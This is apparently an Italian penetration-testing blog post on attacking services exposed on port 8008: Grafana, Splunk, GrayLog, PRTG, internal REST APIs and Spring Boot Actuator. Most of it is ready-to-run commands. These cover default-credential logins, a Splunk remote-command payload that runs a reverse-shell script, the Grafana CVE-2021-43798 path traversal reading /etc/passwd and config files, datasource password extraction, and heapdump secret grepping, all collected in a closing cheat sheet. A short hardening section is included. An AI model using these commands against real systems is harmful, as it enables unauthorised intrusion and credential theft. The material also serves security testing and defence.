Porta 8008 HTTP-alt: Grafana, Splunk e API Interne per Pentest

Porta 8008 HTTP alternativa: default credentials Grafana e Splunk, CVE-2021-43798 path traversalSpring Boot Actuator heapdump, API REST interne e credential extraction.
- Pubblicato il 2026-04-17
- Tempo di lettura: 4 min
La porta 8008 TCP è una delle porte HTTP “alternative” più comuni — un jolly che gli amministratori usano quando la porta 80 è già occupata o quando vogliono tenere un servizio web “separato” dal sito principale. Ed è proprio questa separazione che crea il problema: il sito sulla porta 80 ha il WAF, i certificati TLS, le regole di firewall e il monitoraggio; quello sulla 8008 è il figlio dimenticato — niente protezioni, spesso nessuna autenticazione, a volte persino con DEBUG=True attivo. Nel penetration testing, le porte HTTP alternative (8000, 8008, 8080, 8443, 8888) sono tra le più redditizie da scansionare perché ospitano interfacce di management, pannelli di monitoring, API interne e console di debug che l’admin ha esposto “temporaneamente” tre anni fa.
Sulla 8008 non c’è un singolo servizio dominante: può essere qualsiasi cosa, dal proxy aziendale al pannello Grafana, dall’API interna al Kubernetes Dashboard. L’approccio è sempre lo stesso: identificare, enumerare, attaccare.
1. Identificare il Servizio #
nmap -sV -p 8008 10.10.10.40# Banner grab
curl -s http://10.10.10.40:8008/ -I# Homepage
curl -s http://10.10.10.40:8008/ | head -80| Indicatore | Servizio probabile | Prossimo step |
|---|---|---|
Server: Apache, nginx con pagina generica | Web server alternativo | Directory bruteforce |
Server: Splunk | Splunk Web | Default creds admin:changeme |
| Pagina login con “Grafana” | Grafana | Default admin:admin |
X-Powered-By: Express | Node.js API | Enumera endpoint |
| JSON API senza UI | API REST interna | Enumera endpoint |
| Pagina proxy/cache status | HTTP Proxy | Test open proxy |
Server: Jetty | Java management | Jolokia, JMX |
| Dashboard con “GrayLog” | GrayLog | Default admin:admin |
| Login con “Jenkins” | Jenkins | Tratta come porta 8080 |
| HTML con “PRTG” | PRTG Network Monitor | Default prtgadmin:prtgadmin |
2. Servizi Comuni sulla 8008 #
Splunk Web #
Splunk è una piattaforma di analisi log enterprise. Se lo trovi sulla 8008:
curl -s http://10.10.10.40:8008/en-US/account/login -I# Default credentials
# admin:changeme (il default di ogni installazione Splunk)
curl -s -X POST http://10.10.10.40:8008/en-US/account/login \
-d "username=admin&password=changeme"Con accesso admin a Splunk:
- Cerca credenziali nei log (come con Kibana ma con la potenza di SPL)
- Esegui comandi tramite scripted input:
| script python reverse_shell.py - Leggi file tramite
| inputlookupe| inputcsv - Information disclosure completa: ogni log indicizzato è accessibile
# Splunk RCE via API
curl -s -u admin:changeme https://10.10.10.40:8008/services/search/jobs \
-d 'search=| sendalert runshellscript param.script="reverse.sh"'Grafana #
Grafana è la piattaforma di visualizzazione dati più usata per monitoring infrastrutturale.
# Default credentials
curl -s -X POST http://10.10.10.40:8008/login \
-H "Content-Type: application/json" \
-d '{"user":"admin","password":"admin"}'{"message":"Logged in"}Con accesso Grafana:
- Datasource credentials — Grafana si connette a Prometheus, Elasticsearch, PostgreSQL, MySQL, InfluxDB. Le credenziali di connessione sono leggibili dall’API:
curl -s -u admin:admin http://10.10.10.40:8008/api/datasources | python3 -m json.tool[{
"name": "Production MySQL",
"type": "mysql",
"url": "db-prod.corp.internal:3306",
"user": "grafana_reader",
"secureJsonFields": {"password": true}
}]# In versioni Grafana < 9.x, il password field è leggibile:
curl -s -u admin:admin http://10.10.10.40:8008/api/datasources/1 | python3 -m json.tool
# "password": "Gr@fana_DB_2025!"Credenziali database di produzione esposte.
CVE-2021-43798 — Path traversal pre-auth (Grafana 8.x):
curl -s "http://10.10.10.40:8008/public/plugins/alertlist/../../../../../../../../etc/passwd"Se risponde con il contenuto di /etc/passwd → file read arbitrario senza autenticazione. Leggi: /etc/shadow, configurazione Grafana con credenziali, chiavi SSH.
# Grafana config con password datasource
curl -s "http://10.10.10.40:8008/public/plugins/alertlist/../../../../../../../../etc/grafana/grafana.ini"GrayLog #
# Default: admin:admin
curl -s -u admin:admin http://10.10.10.40:8008/api/system/cluster -IGrayLog raccoglie log come Kibana/Elasticsearch — stesse tecniche di ricerca credenziali nei log.
PRTG Network Monitor #
# Default: prtgadmin:prtgadmin
curl -s "http://10.10.10.40:8008/api/table.json?content=sensors&username=prtgadmin&passhash=0" -IPRTG monitora l’intera infrastruttura di rete — con accesso admin vedi: tutti i device, le credenziali SNMP, le credenziali Windows usate per il monitoring WMI, i diagrammi di rete.
3. API REST Interne #
Se la 8008 serve un’API senza interfaccia web:
Enumerazione endpoint #
# Prova endpoint comuni
curl -s http://10.10.10.40:8008/api/ | python3 -m json.tool
curl -s http://10.10.10.40:8008/api/v1/ | python3 -m json.tool
curl -s http://10.10.10.40:8008/swagger.json
curl -s http://10.10.10.40:8008/openapi.json
curl -s http://10.10.10.40:8008/api-docs/
curl -s http://10.10.10.40:8008/graphql
curl -s http://10.10.10.40:8008/healthz
curl -s http://10.10.10.40:8008/metricsSe Swagger/OpenAPI è accessibile → documentazione completa di ogni endpoint, parametri, modelli dati.
Endpoint /metrics (Prometheus) #
curl -s http://10.10.10.40:8008/metrics# HELP process_cpu_seconds_total Total user and system CPU time spent
# TYPE process_cpu_seconds_total counter
process_cpu_seconds_total 1234.56
# HELP http_requests_total Total HTTP requests
http_requests_total{method="GET",endpoint="/api/users",status="200"} 45678
http_requests_total{method="POST",endpoint="/api/internal/admin",status="200"} 12Le metriche Prometheus rivelano: tutti gli endpoint dell’API (inclusi quelli interni), contatori di errori, informazioni sul runtime.
Endpoint sensibili comuni nelle API interne #
curl -s http://10.10.10.40:8008/api/users
curl -s http://10.10.10.40:8008/api/admin/users
curl -s http://10.10.10.40:8008/api/config
curl -s http://10.10.10.40:8008/api/debug
curl -s http://10.10.10.40:8008/api/internal/health
curl -s http://10.10.10.40:8008/api/v1/secrets
curl -s http://10.10.10.40:8008/actuator/env # Spring Boot
curl -s http://10.10.10.40:8008/jolokia/ # JMX over HTTPActuator (Spring Boot) #
Se trovi Spring Boot Actuator:
curl -s http://10.10.10.40:8008/actuator/env{
"propertySources": [{
"properties": {
"spring.datasource.url": {"value": "jdbc:postgresql://db:5432/app"},
"spring.datasource.username": {"value": "app_user"},
"spring.datasource.password": {"value": "********"}
}
}]
}Le password sono mascherate con *, ma in alcune versioni:
# /actuator/heapdump scarica la memoria JVM — contiene le password in chiaro
curl -s http://10.10.10.40:8008/actuator/heapdump -o heapdump.hprof
# Analizza con Eclipse MAT o strings
strings heapdump.hprof | grep -iE "password|secret|token" | sort -u | head -50L’heapdump contiene tutto ciò che è in memoria: password, token JWT, session data, chiavi crittografiche.
4. HTTP Proxy sulla 8008 #
Se la 8008 è un proxy HTTP (come Squid sulla 3128):
# Test open proxy
curl -x http://10.10.10.40:8008 http://ifconfig.meSe risponde con un IP → proxy aperto. Tutte le tecniche della porta 3128 si applicano: scansione rete interna, accesso servizi non esposti, SSRF verso cloud metadata.
5. Directory Bruteforce Generico #
Se non riesci a identificare il servizio specifico:
gobuster dir -u http://10.10.10.40:8008 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 30
# Con estensioni
gobuster dir -u http://10.10.10.40:8008 -w /usr/share/wordlists/dirb/common.txt \
-x php,html,json,txt,bak,conf -t 30
# Ferox per ricorsione
feroxbuster -u http://10.10.10.40:8008 -w /usr/share/wordlists/dirb/common.txt# Nikto per vulnerability scanning generico
nikto -h http://10.10.10.40:80086. Post-Exploitation #
Le credenziali trovate sulle interfacce della 8008 → lateral movement:
- Datasource credentials (da Grafana/Splunk) → PostgreSQL, MySQL, Redis
- SNMP community strings (da PRTG) → enumerazione rete
- Windows credentials (da PRTG WMI) → WinRM, RDP, SMB
- Hostname e IP interni (da qualsiasi dashboard di monitoring) → mappa rete
- JWT secret (da heapdump) → session forgery
7. Detection & Hardening #
- Non esporre interfacce di management su Internet — Grafana, Splunk, GrayLog dietro VPN
- Cambia le credenziali di default prima del deploy — ogni singola volta
- Autenticazione su ogni servizio — niente accesso anonimo a dashboard e API
- Firewall — porte alternative raggiungibili solo da IP autorizzati
- Disabilita endpoint pericolosi —
/actuator/heapdump,/metrics,/debugin produzione - Tratta le porte alternative come le porte standard — stesso livello di sicurezza, WAF, TLS, monitoring
- Audit regolare delle porte aperte —
nmapmensile sulla propria infrastruttura
8. Cheat Sheet Finale #
| Azione | Comando |
|---|---|
| Nmap | nmap -sV -p 8008 target |
| Banner | curl -s http://target:8008/ -I |
| Homepage | curl -s http://target:8008/ | head -80 |
| Splunk | admin:changeme |
| Grafana | admin:admin — API: /api/datasources |
| Grafana LFI | curl http://target:8008/public/plugins/alertlist/../../../../etc/passwd |
| GrayLog | admin:admin — API: /api/system/cluster |
| PRTG | prtgadmin:prtgadmin |
| Swagger | curl http://target:8008/swagger.json |
| Metrics | curl http://target:8008/metrics |
| Actuator | curl http://target:8008/actuator/env |
| Heapdump | curl http://target:8008/actuator/heapdump -o heap.hprof |
| Jolokia | curl http://target:8008/jolokia/ |
| Open proxy | curl -x http://target:8008 http://ifconfig.me |
| Gobuster | gobuster dir -u http://target:8008 -w wordlist -x php,json,txt |
| Nikto | nikto -h http://target:8008 |
Riferimento: Grafana Security advisories, Spring Boot Actuator docs, OWASP Testing Guide. Uso esclusivo in ambienti autorizzati. https://www.pentestpad.com/port-exploit/port-8008-http-alt-alternative-hypertext-transfer-protocol
Il tuo Grafana è esposto? Il tuo Splunk ha ancora
changeme? Scoprilo prima che lo scopra qualcun altro: penetration test HackIta. Per crescere come professionista: mentorship 1:1.







